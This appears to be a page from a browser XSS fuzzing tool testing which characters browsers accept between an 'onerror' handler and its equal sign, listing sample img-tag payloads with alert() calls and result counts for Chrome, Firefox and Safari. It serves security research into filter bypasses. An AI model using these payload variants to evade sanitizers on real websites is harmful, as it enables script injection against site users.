Character allowed after onerror event



I want to know which characters the browser accepts between an event handler and a equal sign.
Created by: InsertScript
Created on: Tuesday, April 2, 2024 at 9:47:31 AM
Updated on: Tuesday, March 11, 2025 at 9:55:43 PM
Vector type: XSS
Vector charset: UTF-8
Template used:
<img src=x onerror$[chr]=log($[i])>
Your browser was detected as:
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Sample payloads
<img src=x onerror =alert(9)>
<img src=x onerror
=alert(10)>
<img src=x onerror=alert(12)>
<img src=x onerror
=alert(13)>
<img src=x onerror =alert(32)>
Fuzz results

Chrome 123.0.0.0 Unknown Unknown
Updated
Sun Apr 14 2024
Found 5 results
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Firefox 124.0 Unknown Unknown
Updated
Sun Apr 14 2024
Found 5 results
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Safari 17.4 Unknown Unknown
Updated
Sun Apr 14 2024
Found 5 results
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